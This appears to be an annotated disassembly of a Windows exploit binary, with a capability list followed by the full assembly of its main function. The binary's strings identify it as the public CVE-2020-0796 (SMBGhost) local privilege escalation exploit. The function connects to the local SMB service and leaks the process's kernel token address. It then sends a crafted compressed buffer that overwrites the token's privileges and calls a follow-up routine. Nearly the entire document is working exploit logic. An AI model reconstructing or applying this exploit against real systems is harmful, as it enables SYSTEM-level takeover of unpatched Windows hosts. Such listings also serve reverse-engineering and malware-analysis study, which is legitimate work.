Function at 0x1400014c0
Capabilities:
Compress data via winapi
Connect socket
Convert ip address from string
Get system information on windows
Initialize winsock library
Make suspicious ntquerysysteminformation call
Receive data
Receive data on socket
Send data
Send data on socket

Disassembly:
push rbp
lea rbp, [rsp - 0x160]
sub rsp, 0x260
mov rax, qword [section..data]
xor rax, rsp
mov qword [rbp + 0x150], rax
xor edx, edx
lea rcx, [rsp + 0x60]
mov r8d, 0x198
call sub.VCRUNTIME140.dll_memset
lea rcx, str.__CVE_2020_0796_LPE___n
call fcn.140001010
lea rcx, str.by__danigargu_and__dialluvioso__n_n
call fcn.140001010
mov ecx, 0x202
lea rdx, [rsp + 0x60]
call qword [sym.imp.WS2_32.dll_WSAStartup]
test eax, eax
je 0x140001538
mov edx, eax
lea rcx, str.WSAStartup___failed_with_error:__d_n
call fcn.140001010
mov eax, 1
jmp 0x1400019ba
movzx eax, word [rsp + 0x60]
cmp al, 2
jne 0x1400019d2
shr ax, 8
cmp al, 2
jne 0x1400019d2
mov edx, 1
mov qword [rsp + 0x270], rbx
mov ebx, 2
mov qword [rsp + 0x280], rdi
mov ecx, ebx
lea r8d, [rdx + 5]
call qword [sym.imp.WS2_32.dll_socket]
mov rdi, rax
cmp rax, 0xffffffffffffffff
jne 0x1400015a2
call qword [sym.imp.WS2_32.dll_WSAGetLastError]
mov edx, eax
lea rcx, str.socket___failed_with_error:__d_n
call fcn.140001010
call qword [sym.imp.WS2_32.dll_WSACleanup]
lea eax, [rbx - 1]
jmp 0x1400019aa
mov qword [rsp + 0x278], rsi
mov ecx, 0x1bd
mov qword [rsp + 0x288], r14
mov word [rsp + 0x50], bx
call qword [sym.imp.WS2_32.dll_htons]
lea r8, [rsp + 0x54]
mov ecx, ebx
lea rdx, str.127.0.0.1
mov word [rsp + 0x52], ax
call qword [sym.imp.WS2_32.dll_inet_pton]
mov r8d, reloc.WS2_32.dll_recv
lea rdx, [rsp + 0x50]
mov rcx, rdi
call qword [sym.imp.WS2_32.dll_connect]
cmp eax, 0xffffffff
jne 0x140001606
call qword [sym.imp.WS2_32.dll_WSAGetLastError]
lea rdx, str.connect__
jmp 0x14000195e
mov edx, edi
lea rcx, str.Successfully_connected_socket_descriptor:__d_n
call fcn.140001010
lea rcx, str.Sending_SMB_negotiation_request..._n
call fcn.140001010
mov rcx, rdi
call fcn.140001070
cmp eax, 0xffffffff
jne 0x14000163e
lea rcx, str.Couldnt_finish_SMB_negotiation_n
call fcn.140001010
jmp 0x140001951
lea rcx, str.Finished_SMB_negotiation_n
call fcn.140001010
mov ecx, 0x1110
call qword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_malloc]
mov r14, rax
test rax, rax
je 0x1400017d3
call qword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
xor edx, edx
mov ecx, 0x400
mov r8d, eax
call qword [sym.imp.KERNEL32.dll_OpenProcess]
cmp rax, 0xffffffffffffffff
jne 0x140001684
xor ebx, ebx
jmp 0x140001758
lea r8, [rbp + 0x100]
mov edx, 0x20
mov rcx, rax
call qword [sym.imp.ADVAPI32.dll_OpenProcessToken]
mov rsi, qword [rbp + 0x100]
mov eax, socket
nop word [rax + rax]
add eax, eax
mov ecx, 0x40
mov edx, eax
mov dword [rsp + 0x40], eax
call qword [sym.imp.KERNEL32.dll_GlobalAlloc]
mov r8d, dword [rsp + 0x40]
lea r9, [rsp + 0x40]
mov rdx, rax
mov ecx, 0x40
mov rbx, rax
call qword [sym.imp.ntdll.dll_NtQuerySystemInformation]
cmp eax, 0xc0000004
jne 0x1400016eb
mov eax, dword [rsp + 0x40]
jmp 0x1400016b0
test eax, eax
je 0x140001704
mov edx, eax
lea rcx, str.NtQuerySystemInformation___failed_with_error:__x_n
call fcn.140001010
mov ebx, 1
jmp 0x140001758
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetProcessId]
mov r8, qword [rbx]
xor edx, edx
mov r9d, eax
test r8, r8
je 0x140001741
lea rcx, [rbx + 0x18]
mov rbx, qword [rcx - 8]
cmp dword [rcx], r9d
jne 0x140001733
cmp qword [rcx + 8], rsi
je 0x140001752
inc edx
add rcx, 0x28
movsxd rax, edx
cmp rax, r8
jb 0x140001724
lea rcx, str.Couldnt_leak_ktoken_of_current_process..._n
call fcn.140001010
jmp 0x140001995
cmp rbx, 0xffffffffffffffff
je 0x140001741
mov rdx, rbx
lea rcx, str.Found_kernel_token_at__llx_n
call fcn.140001010
mov edx, 0x41
mov r8d, 0x1108
mov rcx, r14
call sub.VCRUNTIME140.dll_memset
lea rax, [rbx + 0x40]
mov dword [rsp + 0x44], 0
mov ecx, 3
mov qword [r14 + 0x1108], rax
lea r8, [rsp + 0x48]
mov dword [rsp + 0x48], 0
lea rdx, [rsp + 0x44]
call qword [sym.imp.ntdll.dll_RtlGetCompressionWorkSpaceSize]
test eax, eax
je 0x1400017c1
mov edx, eax
lea rcx, str.RtlGetCompressionWorkSpaceSize___failed_with_error:__d_n
call fcn.140001010
jmp 0x14000196d
mov ecx, dword [rsp + 0x44]
call qword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_malloc]
mov rbx, rax
test rax, rax
jne 0x1400017e4
lea rcx, str.Couldnt_allocate_memory_with_malloc___n
call fcn.140001010
jmp 0x14000196d
mov qword [rsp + 0x38], rbx
lea rax, [rsp + 0x4c]
mov qword [rsp + 0x30], rax
lea r9, [rbp + 0x110]
mov dword [rsp + 0x28], 0x1000
mov ecx, 3
mov r8d, 0x1110
mov dword [rsp + 0x20], 0x40
mov rdx, r14
call qword [sym.imp.ntdll.dll_RtlCompressBuffer]
test eax, eax
je 0x14000183e
mov edx, eax
lea rcx, str.RtlCompressBuffer___failed_with_error:__x_n
call fcn.140001010
mov rcx, rbx
call qword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_free]
jmp 0x14000196d
lea rcx, str.Sending_compressed_buffer..._n
call fcn.140001010
mov esi, dword [rsp + 0x4c]
mov rax, 0xffffffffffffffff
mov ecx, esi
mov qword [rbp + 0x100], 0
add rcx, 0x24
cmovb rcx, rax
call qword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_malloc]
mov rbx, rax
test rax, rax
jne 0x1400018ae
lea rcx, str.Couldnt_allocate_memory_with_malloc___n
call fcn.140001010
mov rcx, rdi
call qword [sym.imp.WS2_32.dll_closesocket]
cmp eax, 0xffffffff
jne 0x1400018a6
call qword [sym.imp.WS2_32.dll_WSAGetLastError]
mov edx, eax
lea rcx, str.closesocket___failed_with_error:__d_n
call fcn.140001010
call qword [sym.imp.WS2_32.dll_WSACleanup]
jmp 0x14000192d
mov dword [rax], 0x33000000
lea rcx, [rbx + 0x24]
mov dword [rax + 4], 0x424d53fc
lea rdx, [rbp + 0x110]
mov dword [rax + 8], 0xffffffff
mov r8, rsi
mov dword [rax + 0xc], 2
mov dword [rax + reloc.WS2_32.dll_recv], 0x10
movabs rax, 0x1ff2ffffbc
mov qword [rbx + 0x14], rax
mov qword [rbx + 0x1c], rax
call sub.VCRUNTIME140.dll_memcpy
lea r8d, [rsi + 0x24]
xor r9d, r9d
mov rdx, rbx
mov rcx, rdi
call qword [sym.imp.WS2_32.dll_send]
cmp eax, 0xffffffff
je 0x140001948
xor r9d, r9d
lea rdx, [rbp + 0x100]
mov rcx, rdi
lea r8d, [r9 + 8]
call qword [sym.imp.WS2_32.dll_recv]
mov rcx, rbx
call qword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_free]
lea rcx, str.SEP_TOKEN_PRIVILEGES_changed_n
call fcn.140001010
call fcn.140001200
call qword [sym.imp.WS2_32.dll_WSACleanup]
xor eax, eax
jmp 0x14000199a
mov rcx, rbx
call qword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_free]
call qword [sym.imp.WS2_32.dll_WSAGetLastError]
lea rdx, str.send__
mov r8d, eax
lea rcx, str._s_failed_with_error:__d_n
call fcn.140001010
mov rcx, rdi
call qword [sym.imp.WS2_32.dll_closesocket]
cmp eax, 0xffffffff
jne 0x14000198f
call qword [sym.imp.WS2_32.dll_WSAGetLastError]
mov edx, eax
lea rcx, str.closesocket___failed_with_error:__d_n
call fcn.140001010
call qword [sym.imp.WS2_32.dll_WSACleanup]
mov eax, 1
mov rsi, qword [rsp + 0x278]
mov r14, qword [rsp + 0x288]
mov rbx, qword [rsp + 0x270]
mov rdi, qword [rsp + 0x280]
mov rcx, qword [rbp + 0x150]
xor rcx, rsp
call fcn.140001a00
add rsp, 0x260
pop rbp
ret
lea rcx, str.Couldnt_find_a_usable_version_of_Winsock.dll_n
call fcn.140001010
call qword [sym.imp.WS2_32.dll_WSACleanup]
mov eax, 1
jmp 0x1400019ba